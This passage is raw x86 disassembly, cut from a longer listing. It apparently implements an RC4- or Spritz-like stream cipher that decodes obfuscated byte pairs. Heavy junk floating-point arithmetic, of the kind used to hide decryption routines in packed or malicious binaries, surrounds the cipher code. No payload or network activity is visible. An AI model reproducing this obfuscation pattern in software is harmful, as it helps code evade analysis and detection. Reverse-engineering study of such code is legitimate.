mov dl, byte [ebp - 0x190]
add dl, 1
mov byte [ebp - 0x190], dl
movzx eax, byte [ebp - 0x19b]
add eax, dword [ebp - 0x19bc]
mov byte [ebp - 0x19b], al
movzx ecx, byte [ebp - 0x19b]
movzx edx, byte [ebp - 0x1a5]
mov al, byte [ebp + ecx - 0x1154]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x19a]
movzx edx, byte [ebp - 0x19b]
mov al, byte [ebp + ecx - 0x1154]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x190]
movzx edx, byte [ebp - 0x19a]
mov al, byte [ebp + ecx - 0x1154]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x190]
mov dl, byte [ebp - 0x1bf]
mov byte [ebp + ecx - 0x1154], dl
movsd xmm0, qword [0x582758]
movsd qword [ebp - 0x8d8], xmm0
movsd xmm0, qword [0x582670]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [0x5824a0]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [0x582260]
movsd qword [ebp - 0x580], xmm0
movsd xmm0, qword [ebp - 0x4f0]
subsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [ebp - 0x4f0]
mulsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [ebp - 0x578]
addsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x8d8]
subsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x8d8], xmm0
movsd xmm0, qword [ebp - 0x580]
comisd xmm0, xmmword [ebp - 0x4f0]
jbe 0x478598
movsd xmm0, qword [ebp - 0x8d8]
addsd xmm0, qword [ebp - 0x4f0]
movsd qword [ebp - 0x8d8], xmm0
movsd xmm0, qword [ebp - 0x4f0]
mulsd xmm0, qword [ebp - 0x578]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [ebp - 0x4f0]
subsd xmm0, qword [ebp - 0x578]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [ebp - 0x580]
subsd xmm0, qword [ebp - 0x8d8]
movsd qword [ebp - 0x580], xmm0
movsd xmm0, qword [ebp - 0x580]
divsd xmm0, qword [ebp - 0x8d8]
movsd qword [ebp - 0x580], xmm0
movsd xmm0, qword [ebp - 0x4f0]
divsd xmm0, qword [ebp - 0x578]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [ebp - 0x4f0]
subsd xmm0, qword [ebp - 0x578]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [ebp - 0x580]
divsd xmm0, qword [ebp - 0x8d8]
movsd qword [ebp - 0x580], xmm0
movsd xmm0, qword [ebp - 0x580]
comisd xmm0, xmmword [ebp - 0x4f0]
jbe 0x478536
movsd xmm0, qword [ebp - 0x578]
mulsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x8d8]
divsd xmm0, qword [ebp - 0x4f0]
movsd qword [ebp - 0x8d8], xmm0
movsd xmm0, qword [ebp - 0x578]
addsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x4f0]
subsd xmm0, qword [ebp - 0x578]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [ebp - 0x4f0]
subsd xmm0, qword [ebp - 0x578]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [ebp - 0x8d8]
mulsd xmm0, qword [ebp - 0x4f0]
movsd qword [ebp - 0x8d8], xmm0
movsd xmm0, qword [ebp - 0x8d8]
divsd xmm0, qword [ebp - 0x4f0]
movsd qword [ebp - 0x8d8], xmm0
movsd xmm0, qword [ebp - 0x578]
divsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x580]
comisd xmm0, xmmword [ebp - 0x4f0]
jbe 0x4784d4
movsd xmm0, qword [ebp - 0x578]
mulsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x578]
subsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x578]
addsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x578]
addsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x578], xmm0
jmp 0x478534
movsd xmm0, qword [ebp - 0x578]
mulsd xmm0, qword [ebp - 0x8d8]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x578]
divsd xmm0, qword [ebp - 0x8d8]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x580]
divsd xmm0, qword [ebp - 0x4f0]
movsd qword [ebp - 0x580], xmm0
movsd xmm0, qword [ebp - 0x4f0]
divsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x4f0], xmm0
jmp 0x478596
movsd xmm0, qword [ebp - 0x580]
divsd xmm0, qword [ebp - 0x8d8]
movsd qword [ebp - 0x580], xmm0
movsd xmm0, qword [ebp - 0x580]
divsd xmm0, qword [ebp - 0x8d8]
movsd qword [ebp - 0x580], xmm0
movsd xmm0, qword [ebp - 0x578]
subsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x4f0]
subsd xmm0, qword [ebp - 0x578]
movsd qword [ebp - 0x4f0], xmm0
jmp 0x478616
movsd xmm0, qword [ebp - 0x578]
subsd xmm0, qword [ebp - 0x8d8]
movsd qword [ebp - 0x578], xmm0
movsd xmm0, qword [ebp - 0x4f0]
mulsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [ebp - 0x4f0]
addsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x4f0], xmm0
movsd xmm0, qword [ebp - 0x4f0]
mulsd xmm0, qword [ebp - 0x580]
movsd qword [ebp - 0x4f0], xmm0
movzx eax, byte [ebp - 0x1bf]
movzx ecx, byte [ebp + eax - 0x1154]
movzx edx, byte [ebp - 0x1be]
add edx, ecx
mov byte [ebp - 0x1be], dl
movzx eax, byte [ebp - 0x1bd]
movzx ecx, byte [ebp - 0x19b]
movzx edx, byte [ebp + ecx - 0x1154]
movzx ecx, byte [ebp - 0x190]
movzx ecx, byte [ebp + ecx - 0x1154]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1154]
xor eax, edx
movzx ecx, byte [ebp - 0x19a]
movzx edx, byte [ebp + ecx - 0x1154]
movzx ecx, byte [ebp - 0x1a5]
movzx ecx, byte [ebp + ecx - 0x1154]
add edx, ecx
movzx ecx, byte [ebp - 0x1be]
movzx ecx, byte [ebp + ecx - 0x1154]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1154]
movzx ecx, byte [ebp + edx - 0x1154]
xor eax, ecx
mov byte [ebp - 0x19a], al
mov dl, byte [ebp - 0x1bd]
mov byte [ebp - 0x1a5], dl
mov al, byte [ebp - 0x19a]
mov byte [ebp - 0x1e3], al
cmp dword [ebp - 0x214], 0
jle 0x4786d0
movsx cx, byte [ebp - 0x1e3]
mov edx, dword [ebp - 0x214]
mov word [ebp + edx*2 - 0x62], cx
jmp 0x477df5
mov eax, dword [ebp - 0x2e8]
add eax, 1
mov dword [ebp - 0x2e8], eax
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
mov edx, dword [ebp - 0x2e8]
add edx, 1
mov dword [ebp - 0x2e8], edx
mov eax, dword [ebp - 0x214]
shl eax, 1
mov dword [ebp - 0x414], eax
mov ecx, dword [ebp - 0x424]
add ecx, dword [ebp - 0x414]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c0], edx
mov dword [ebp - 0x3c4], 0x91
mov eax, dword [ebp - 0x214]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x428], ecx
mov edx, dword [ebp - 0x424]
add edx, dword [ebp - 0x428]
movzx eax, byte [edx]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3cc], 0xe2
mov ecx, dword [ebp - 0x3c0]
sub ecx, dword [ebp - 0x3c4]
mov dword [ebp - 0x3d0], ecx
mov edx, dword [ebp - 0x3c8]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x3d4], edx
mov eax, dword [ebp - 0x3d0]
shl eax, 4
mov dword [ebp - 0x42c], eax
mov ecx, dword [ebp - 0x3d4]
mov dword [ebp - 0x430], ecx
mov edx, dword [ebp - 0x42c]
or edx, dword [ebp - 0x430]
mov dword [ebp - 0x434], edx
mov al, byte [ebp - 0x434]
mov byte [ebp - 0x1bd], al
movzx ecx, byte [ebp - 0x1a5]
mov dl, byte [ebp + ecx - 0x1154]
mov byte [ebp - 0x1bf], dl
movzx eax, byte [ebp - 0x190]
movzx ecx, byte [ebp + eax - 0x1154]
mov dword [ebp - 0x19c0], ecx
mov dl, byte [ebp - 0x190]
add dl, 1
mov byte [ebp - 0x190], dl
movzx eax, byte [ebp - 0x19b]
add eax, dword [ebp - 0x19c0]
mov byte [ebp - 0x19b], al
movzx ecx, byte [ebp - 0x19b]
movzx edx, byte [ebp - 0x1a5]
mov al, byte [ebp + ecx - 0x1154]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x19a]
movzx edx, byte [ebp - 0x19b]
mov al, byte [ebp + ecx - 0x1154]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x190]
movzx edx, byte [ebp - 0x19a]
mov al, byte [ebp + ecx - 0x1154]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x190]
mov dl, byte [ebp - 0x1bf]
mov byte [ebp + ecx - 0x1154], dl
movzx eax, byte [ebp - 0x1bf]
movzx ecx, byte [ebp + eax - 0x1154]
movzx edx, byte [ebp - 0x1be]
add edx, ecx
mov byte [ebp - 0x1be], dl
movzx eax, byte [ebp - 0x1bd]
movzx ecx, byte [ebp - 0x19b]
movzx edx, byte [ebp + ecx - 0x1154]
movzx ecx, byte [ebp - 0x190]
movzx ecx, byte [ebp + ecx - 0x1154]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1154]
xor eax, edx
movzx ecx, byte [ebp - 0x19a]
movzx edx, byte [ebp + ecx - 0x1154]
movzx ecx, byte [ebp - 0x1a5]
movzx ecx, byte [ebp + ecx - 0x1154]
add edx, ecx
movzx ecx, byte [ebp - 0x1be]
movzx ecx, byte [ebp + ecx - 0x1154]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1154]
movzx ecx, byte [ebp + edx - 0x1154]
xor eax, ecx
mov byte [ebp - 0x19a], al
mov dl, byte [ebp - 0x1bd]
mov byte [ebp - 0x1a5], dl
mov al, byte [ebp - 0x19a]
mov byte [ebp - 0x1e3], al
cmp dword [ebp - 0x214], 0
jle 0x478946
movsx cx, byte [ebp - 0x1e3]
mov edx, dword [ebp - 0x214]
mov word [ebp + edx*2 - 0x62], cx
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x2e8]
add ecx, 1
mov dword [ebp - 0x2e8], ecx
mov edx, dword [ebp - 0x214]
shl edx, 1
mov dword [ebp - 0x414], edx
mov eax, dword [ebp - 0x424]
add eax, dword [ebp - 0x414]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c0], ecx
mov dword [ebp - 0x3c4], 0x91
mov edx, dword [ebp - 0x214]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x424]
add ecx, dword [ebp - 0x428]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c8], edx
mov dword [ebp - 0x3cc], 0xe2
mov eax, dword [ebp - 0x3c0]
sub eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x3d0], eax
mov ecx, dword [ebp - 0x3c8]
sub ecx, dword [ebp - 0x3cc]
mov dword [ebp - 0x3d4], ecx
mov edx, dword [ebp - 0x3d0]
shl edx, 4
mov dword [ebp - 0x42c], edx
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x430], eax
mov ecx, dword [ebp - 0x42c]
or ecx, dword [ebp - 0x430]
mov dword [ebp - 0x434], ecx
mov dl, byte [ebp - 0x434]
mov byte [ebp - 0x1bd], dl
movzx eax, byte [ebp - 0x1a5]
mov cl, byte [ebp + eax - 0x1154]
mov byte [ebp - 0x1bf], cl
movzx edx, byte [ebp - 0x190]
movzx eax, byte [ebp + edx - 0x1154]
mov dword [ebp - 0x19c4], eax
mov cl, byte [ebp - 0x190]
add cl, 1
mov byte [ebp - 0x190], cl
movzx edx, byte [ebp - 0x19b]
add edx, dword [ebp - 0x19c4]
mov byte [ebp - 0x19b], dl
movzx eax, byte [ebp - 0x19b]
movzx ecx, byte [ebp - 0x1a5]
mov dl, byte [ebp + eax - 0x1154]
mov byte [ebp + ecx - 0x1154], dl
movzx eax, byte [ebp - 0x19a]
movzx ecx, byte [ebp - 0x19b]
mov dl, byte [ebp + eax - 0x1154]
mov byte [ebp + ecx - 0x1154], dl
movzx eax, byte [ebp - 0x190]
movzx ecx, byte [ebp - 0x19a]
mov dl, byte [ebp + eax - 0x1154]
mov byte [ebp + ecx - 0x1154], dl
movzx eax, byte [ebp - 0x190]
mov cl, byte [ebp - 0x1bf]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x1bf]
movzx eax, byte [ebp + edx - 0x1154]
movzx ecx, byte [ebp - 0x1be]
add ecx, eax
mov byte [ebp - 0x1be], cl
movzx edx, byte [ebp - 0x1bd]
movzx eax, byte [ebp - 0x19b]
movzx ecx, byte [ebp + eax - 0x1154]
movzx eax, byte [ebp - 0x190]
movzx eax, byte [ebp + eax - 0x1154]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1154]
xor edx, ecx
movzx eax, byte [ebp - 0x19a]
movzx ecx, byte [ebp + eax - 0x1154]
movzx eax, byte [ebp - 0x1a5]
movzx eax, byte [ebp + eax - 0x1154]
add ecx, eax
movzx eax, byte [ebp - 0x1be]
movzx eax, byte [ebp + eax - 0x1154]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1154]
movzx eax, byte [ebp + ecx - 0x1154]
xor edx, eax
mov byte [ebp - 0x19a], dl
mov cl, byte [ebp - 0x1bd]
mov byte [ebp - 0x1a5], cl
mov dl, byte [ebp - 0x19a]
mov byte [ebp - 0x1e3], dl
cmp dword [ebp - 0x214], 0
jle 0x478ba8
movsx ax, byte [ebp - 0x1e3]
mov ecx, dword [ebp - 0x214]
mov word [ebp + ecx*2 - 0x62], ax
mov edx, dword [ebp - 0x214]
add edx, 1
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x2e8]
add eax, 1
mov dword [ebp - 0x2e8], eax
mov ecx, dword [ebp - 0x214]
shl ecx, 1
mov dword [ebp - 0x414], ecx
mov edx, dword [ebp - 0x424]
add edx, dword [ebp - 0x414]
movzx eax, byte [edx]
mov dword [ebp - 0x3c0], eax
movss xmm0, dword [0x582944]
movss dword [ebp - 0x288], xmm0
movss xmm0, dword [0x5828a0]
movss dword [ebp - 0x274], xmm0
movss xmm0, dword [0x582800]
movss dword [ebp - 0x2ec], xmm0
movss xmm0, dword [ebp - 0x274]
mulss xmm0, dword [ebp - 0x2ec]
movss dword [ebp - 0x274], xmm0
movss xmm0, dword [ebp - 0x274]
mulss xmm0, dword [ebp - 0x2ec]
movss dword [ebp - 0x274], xmm0
movss xmm0, dword [ebp - 0x288]
mulss xmm0, dword [ebp - 0x2ec]
movss dword [ebp - 0x288], xmm0
movss xmm0, dword [ebp - 0x2ec]
comiss xmm0, dword [ebp - 0x274]
jbe 0x478e99
movss xmm0, dword [ebp - 0x274]
mulss xmm0, dword [ebp - 0x2ec]
movss dword [ebp - 0x274], xmm0
movss xmm0, dword [ebp - 0x288]
divss xmm0, dword [ebp - 0x274]
movss dword [ebp - 0x288], xmm0
movss xmm0, dword [ebp - 0x2ec]
divss xmm0, dword [ebp - 0x288]
movss dword [ebp - 0x2ec], xmm0
movss xmm0, dword [ebp - 0x2ec]
divss xmm0, dword [ebp - 0x274]
movss dword [ebp - 0x2ec], xmm0
movss xmm0, dword [ebp - 0x2ec]
subss xmm0, dword [ebp - 0x274]
movss dword [ebp - 0x2ec], xmm0
movss xmm0, dword [ebp - 0x274]
divss xmm0, dword [ebp - 0x288]
movss dword [ebp - 0x274], xmm0
movss xmm0, dword [ebp - 0x288]
comiss xmm0, dword [ebp - 0x274]
jbe 0x478d64
movss xmm0, dword [ebp - 0x288]
mulss xmm0, dword [ebp - 0x274]
movss dword [ebp - 0x288], xmm0
movss xmm0, dword [ebp - 0x288]
subss xmm0, dword [ebp - 0x274]
movss dword [ebp - 0x288], xmm0
movss xmm0, dword [ebp - 0x288]
mulss xmm0, dword [ebp - 0x274]
movss dword [ebp - 0x288], xmm0
jmp 0x478e97
movss xmm0, dword [ebp - 0x2ec]
subss xmm0, dword [ebp - 0x274]
movss dword [ebp - 0x2ec], xmm0
movss xmm0, dword [ebp - 0x288]
addss xmm0, dword [ebp - 0x2ec]
movss dword [ebp - 0x288], xmm0
movss xmm0, dword [ebp - 0x274]
subss xmm0, dword [ebp - 0x288]
movss dword [ebp - 0x274], xmm0
movss xmm0, dword [ebp - 0x274]
addss xmm0, dword [ebp - 0x288]
movss dword [ebp - 0x274], xmm0
movss xmm0, dword [ebp - 0x274]
mulss xmm0, dword [ebp - 0x288]
movss dword [ebp - 0x274], xmm0
movss xmm0, dword [ebp - 0x288]
subss xmm0, dword [ebp - 0x2ec]
movss dword [ebp - 0x288], xmm0
movss xmm0, dword [ebp - 0x274]
comiss xmm0, dword [ebp - 0x2ec]
jbe 0x478e4f
movss xmm0, dword [ebp - 0x288]
mulss xmm0, dword [ebp - 0x2ec]
movss dword [ebp - 0x288], xmm0
movss xmm0, dword [ebp - 0x288]
subss xmm0, dword [ebp - 0x2ec]
movss dword [ebp - 0x288], xmm0
movss xmm0, dword [ebp - 0x274]
mulss xmm0, dword [ebp - 0x288]
movss dword [ebp - 0x274], xmm0
jmp 0x478e97
movss xmm0, dword [ebp - 0x274]
addss xmm0, dword [ebp - 0x288]
movss dword [ebp - 0x274], xmm0
movss xmm0, dword [ebp - 0x2ec]
addss xmm0, dword [ebp - 0x274]
movss dword [ebp - 0x2ec], xmm0
movss xmm0, dword [ebp - 0x274]
subss xmm0, dword [ebp - 0x288]
movss dword [ebp - 0x274], xmm0
jmp 0x478eeb
movss xmm0, dword [ebp - 0x2ec]
mulss xmm0, dword [ebp - 0x288]
movss dword [ebp - 0x2ec], xmm0
movss xmm0, dword [ebp - 0x288]
mulss xmm0, dword [ebp - 0x274]
movss dword [ebp - 0x288], xmm0
movss xmm0, dword [ebp - 0x2ec]
subss xmm0, dword [ebp - 0x288]
movss dword [ebp - 0x2ec], xmm0
mov dword [ebp - 0x3c4], 0x91
mov ecx, dword [ebp - 0x214]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x428], edx
mov eax, dword [ebp - 0x424]
add eax, dword [ebp - 0x428]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c8], ecx
mov dword [ebp - 0x3cc], 0xe2
movsd xmm0, qword [0x582770]
movsd qword [ebp - 0xbf0], xmm0
movsd xmm0, qword [0x5826b8]
movsd qword [ebp - 0xcf8], xmm0
movsd xmm0, qword [0x582598]
movsd qword [ebp - 0xbf8], xmm0
movsd xmm0, qword [0x5823e0]
movsd qword [ebp - 0x165c], xmm0
movsd xmm0, qword [0x5821f0]
movsd qword [ebp - 0x9ac], xmm0
movsd xmm0, qword [ebp - 0xbf8]
subsd xmm0, qword [ebp - 0x9ac]
movsd qword [ebp - 0xbf8], xmm0
movsd xmm0, qword [ebp - 0xcf8]
mulsd xmm0, qword [ebp - 0x9ac]
movsd qword [ebp - 0xcf8], xmm0
movsd xmm0, qword [ebp - 0xbf0]
subsd xmm0, qword [ebp - 0x9ac]
movsd qword [ebp - 0xbf0], xmm0
movsd xmm0, qword [ebp - 0xbf0]
mulsd xmm0, qword [ebp - 0x9ac]
movsd qword [ebp - 0xbf0], xmm0
movsd xmm0, qword [ebp - 0xbf8]
addsd xmm0, qword [ebp - 0x9ac]
movsd qword [ebp - 0xbf8], xmm0
movsd xmm0, qword [ebp - 0xcf8]
comisd xmm0, xmmword [ebp - 0x9ac]
jbe 0x479084
movsd xmm0, qword [ebp - 0xbf8]
mulsd xmm0, qword [ebp - 0x165c]
movsd qword [ebp - 0xbf8], xmm0
movsd xmm0, qword [ebp - 0x9ac]
subsd xmm0, qword [ebp - 0xbf0]
movsd qword [ebp - 0x9ac], xmm0
movsd xmm0, qword [ebp - 0x9ac]
subsd xmm0, qword [ebp - 0xbf0]
movsd qword [ebp - 0x9ac], xmm0
movsd xmm0, qword [ebp - 0x9ac]
addsd xmm0, qword [ebp - 0xbf0]
movsd qword [ebp - 0x9ac], xmm0
movsd xmm0, qword [ebp - 0x165c]
addsd xmm0, qword [ebp - 0x9ac]
movsd qword [ebp - 0x165c], xmm0
mov edx, dword [ebp - 0x3c0]
sub edx, dword [ebp - 0x3c4]
mov dword [ebp - 0x3d0], edx
jmp 0x4790fc
movsd xmm0, qword [ebp - 0x9ac]
mulsd xmm0, qword [ebp - 0xbf0]
movsd qword [ebp - 0x9ac], xmm0
movsd xmm0, qword [ebp - 0xcf8]
divsd xmm0, qword [ebp - 0xbf8]
movsd qword [ebp - 0xcf8], xmm0
movsd xmm0, qword [ebp - 0xbf0]
mulsd xmm0, qword [ebp - 0xcf8]
movsd qword [ebp - 0xbf0], xmm0
movsd xmm0, qword [ebp - 0xcf8]
subsd xmm0, qword [ebp - 0xbf8]
movsd qword [ebp - 0xcf8], xmm0
movsd xmm0, qword [ebp - 0xbf8]
mulsd xmm0, qword [ebp - 0x165c]
movsd qword [ebp - 0xbf8], xmm0
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x3d4], eax
mov ecx, dword [ebp - 0x3d0]
shl ecx, 4
mov dword [ebp - 0x42c], ecx
movsd xmm0, qword [0x582728]
movsd qword [ebp - 0x69c], xmm0
movsd xmm0, qword [0x582698]
movsd qword [ebp - 0x5e4], xmm0
movsd xmm0, qword [0x5825f8]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [0x5824c8]
movsd qword [ebp - 0x670], xmm0
movsd xmm0, qword [0x5823c8]
movsd qword [ebp - 0x8e0], xmm0
movsd xmm0, qword [0x5822b0]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [0x5820f0]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x8e0]
subsd xmm0, qword [ebp - 0x560]
movsd qword [ebp - 0x8e0], xmm0
movsd xmm0, qword [ebp - 0x608]
mulsd xmm0, qword [ebp - 0x560]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x670]
subsd xmm0, qword [ebp - 0x560]
movsd qword [ebp - 0x670], xmm0
movsd xmm0, qword [ebp - 0x670]
mulsd xmm0, qword [ebp - 0x560]
movsd qword [ebp - 0x670], xmm0
movsd xmm0, qword [ebp - 0x8e0]
addsd xmm0, qword [ebp - 0x560]
movsd qword [ebp - 0x8e0], xmm0
movsd xmm0, qword [ebp - 0x69c]
addsd xmm0, qword [ebp - 0x560]
movsd qword [ebp - 0x69c], xmm0
movsd xmm0, qword [ebp - 0x504]
addsd xmm0, qword [ebp - 0x560]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x560]
comisd xmm0, xmmword [ebp - 0x670]
jbe 0x47971e
movsd xmm0, qword [ebp - 0x608]
mulsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x5e4]
divsd xmm0, qword [ebp - 0x670]
movsd qword [ebp - 0x5e4], xmm0
movsd xmm0, qword [ebp - 0x560]
addsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x560]
divsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x608]
mulsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x5e4]
mulsd xmm0, qword [ebp - 0x670]
movsd qword [ebp - 0x5e4], xmm0
movsd xmm0, qword [ebp - 0x608]
divsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x608]
subsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x608]
addsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x69c]
subsd xmm0, qword [ebp - 0x504]
movsd qword [ebp - 0x69c], xmm0
movsd xmm0, qword [ebp - 0x608]
mulsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x5e4]
addsd xmm0, qword [ebp - 0x670]
movsd qword [ebp - 0x5e4], xmm0
movsd xmm0, qword [ebp - 0x670]
mulsd xmm0, qword [ebp - 0x608]
movsd qword [ebp - 0x670], xmm0
movsd xmm0, qword [ebp - 0x504]
addsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x608]
comisd xmm0, xmmword [ebp - 0x69c]
jbe 0x479671
movsd xmm0, qword [ebp - 0x670]
subsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x670], xmm0
movsd xmm0, qword [ebp - 0x560]
addsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x69c]
subsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x69c], xmm0
movsd xmm0, qword [ebp - 0x560]
mulsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x670]
subsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x670], xmm0
movsd xmm0, qword [ebp - 0x608]
mulsd xmm0, qword [ebp - 0x560]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x69c]
mulsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x69c], xmm0
movsd xmm0, qword [ebp - 0x504]
mulsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x504]
divsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x560]
divsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x608]
divsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x560]
mulsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x8e0]
divsd xmm0, qword [ebp - 0x560]
movsd qword [ebp - 0x8e0], xmm0
movsd xmm0, qword [ebp - 0x504]
addsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x5e4]
comisd xmm0, xmmword [ebp - 0x560]
jbe 0x4795c4
movsd xmm0, qword [ebp - 0x560]
subsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x69c]
addsd xmm0, qword [ebp - 0x504]
movsd qword [ebp - 0x69c], xmm0
movsd xmm0, qword [ebp - 0x5e4]
divsd xmm0, qword [ebp - 0x670]
movsd qword [ebp - 0x5e4], xmm0
movsd xmm0, qword [ebp - 0x504]
addsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x69c]
addsd xmm0, qword [ebp - 0x504]
movsd qword [ebp - 0x69c], xmm0
movsd xmm0, qword [ebp - 0x608]
subsd xmm0, qword [ebp - 0x69c]
movsd qword [ebp - 0x608], xmm0
movsd xmm0, qword [ebp - 0x5e4]
subsd xmm0, qword [ebp - 0x670]
movsd qword [ebp - 0x5e4], xmm0
jmp 0x47966c
movsd xmm0, qword [ebp - 0x5e4]
divsd xmm0, qword [ebp - 0x670]
movsd qword [ebp - 0x5e4], xmm0
movsd xmm0, qword [ebp - 0x5e4]
subsd xmm0, qword [ebp - 0x670]
movsd qword [ebp - 0x5e4], xmm0
movsd xmm0, qword [ebp - 0x504]
mulsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x560]
mulsd xmm0, qword [ebp - 0x5e4]
movsd qword [ebp - 0x560], xmm0
movsd xmm0, qword [ebp - 0x504]
mulsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x504]
divsd xmm0, qword [ebp - 0x8e0]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x670]
mulsd xmm0, qword [ebp - 0x608]
movsd qword [ebp - 0x670], xmm0
jmp 0x479719
movsd xmm0, qword [ebp - 0x504]
addsd xmm0, qword [ebp - 0x670]
movsd qword [ebp - 0x504], xmm0
movsd xmm0, qword [ebp - 0x5e4]
addsd xmm0, qword [ebp - 0x504]
